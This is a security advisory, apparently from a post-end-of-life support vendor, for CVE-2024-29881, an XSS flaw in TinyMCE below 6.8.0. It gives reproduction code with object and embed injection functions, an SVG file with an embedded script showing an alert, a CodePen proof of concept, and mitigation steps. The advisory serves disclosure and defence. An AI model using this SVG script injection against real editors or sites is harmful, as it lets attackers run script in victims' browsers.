Overview
TinyMCE is a web-based JavaScript HTML WYSIWYG editor control.
A Cross-Site Scripting (XSS) vulnerability (CVE-2024-29881) has been identified in TinyMCE, which allows an SVG image that contains a malicious payload to be loaded through an object or embed element.
Per OWASP: Cross-Site Scripting attacks are a type of injection, in which malicious scripts are injected into otherwise benign and trusted websites. XSS attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script, to a different end user. An attacker can use XSS to send a malicious script to an unsuspecting user.
This issue affects TinyMCE versions less than 6.8.0.
Details
Module Info
- Product: TinyMCE
- Affected packages: tinymce
- Affected versions: <6.8.0 and <7.0.0*
- GitHub repository: https://github.com/tinymce/tinymce
- Published packages: https://www.npmjs.com/package/tinymce
- Package manager: npm
- Fixed in: OSS TinyMCE v6.8.0 and v7.0.0* and NES for TinyMCE v6.8.7
*: The fix is opt-in in v6.8.0 and is enabled by default in v7.0.0.
Vulnerability Info
This Medium-severity vulnerability is found in TinyMCE versions less than 6.8.0.
In versions greater than or equal to 6.8.0, there is a way to resolve this vulnerability directly by setting the editor option convert_unsafe_embeds to be true, but by default this option is set to false. This was changed in version 7.0.0 to be true by default.
Steps To Reproduce
- Create a folder and name it public. Copy the TinyMCE files into this folder so that the path ./public/tinymce/tinymce.min.js is valid. For example, if you used npm to install tinymce, copy the contents of the folder node_modules/tinymce into public/tinymce.
- Create an HTML file next to the public folder that was just created. Add the self-hosted TinyMCE script to the <head> section. For example:
<script src="public/tinymce/tinymce.min.js"></script>
- In the body of the HTML file, add two sections with a button and a textarea. One is to display the XSS via object[data] and the other is to display XSS via embed[src]. For example:
<div>
<button onclick="injectObjPayload()">Inject object[data] Payload</button>
<textarea id="editor1"></textarea>
</div>
<div>
<button onclick="injectEmbedPayload()">Inject embed[src] Payload</button>
<textarea id="editor2"></textarea>
</div>
- Add two instances of TinyMCE in a <script> section, one to initialize editor1 and another for editor2. editor1 is associated with the object[data] and editor2 is associated with the embed[src]. For example:
const editors = {};
tinymce.init({
selector: '#editor1',
extended_valid_elements: 'object[data|type|width|height]',
setup: (editor) => {
editors.editor1 = editor;
}
});
tinymce.init({
selector: '#editor2',
extended_valid_elements: 'embed[src|type|width|height]',
setup: (editor) => {
editors.editor2 = editor;
}
});
- In the same <script> section, add two functions that were referenced earlier in the second step. For example:
function injectObjPayload() {
const html = `<object type="image/svg+xml" data="public/malicious.svg" width="300" height="200"></object>`;
editors.editor1?.setContent(html);
}
function injectEmbedPayload() {
const html = `<embed type="image/svg+xml" src="public/malicious.svg" width="300" height="200">`;
editors.editor2?.setContent(html);
}
- Create an SVG file in the public folder created earlier and name it malicious.svg. Open this SVG file in a text editor and paste the following code into it.
<svg xmlns="http://www.w3.org/2000/svg">
<script>
alert('CVE-2024-29881');
</script>
</svg>
- Run the application and click on the Inject object[data] Payload button. A popup will appear demonstrating the Cross-Site Scripting (XSS) vulnerability.
- While the application is still running, click on the Inject embed[src] Payload button. A popup will appear demonstrating the XSS vulnerability.
Proof Of Concept
A full reproduction with code similar to the above can be found here:
SVG content XSS vulnerability POC
<iframe height="300" style="width: 100%;" scrolling="no" title="TinyMCE vulnerability: XSS vulnerability via SVG content" src="https://codepen.io/herodevs/embed/YPXJeba/f64a89f3268d107c558b58a9ef0d695b?default-tab=html%2Cresult" frameborder="no" loading="lazy" allowtransparency="true" allowfullscreen="true">
See the Pen <a href="https://codepen.io/herodevs/pen/YPXJeba/f64a89f3268d107c558b58a9ef0d695b">
TinyMCE vulnerability: XSS vulnerability via SVG content</a> by HeroDevs (<a href="https://codepen.io/herodevs">@herodevs</a>)
on <a href="https://codepen.io">CodePen</a>.
</iframe>
Mitigation
TinyMCE versions below 6.8 are End-of-Life and will not receive any updates to address this issue. For more information see here.
Users of the affected components should apply one of the following mitigations:
- Migrate affected applications to a version of TinyMCE that includes the fix.
- Leverage a commercial support partner like HeroDevs for post-EOL security support.
Credits
- Toni Huttunen of Fraktal Oy (finder)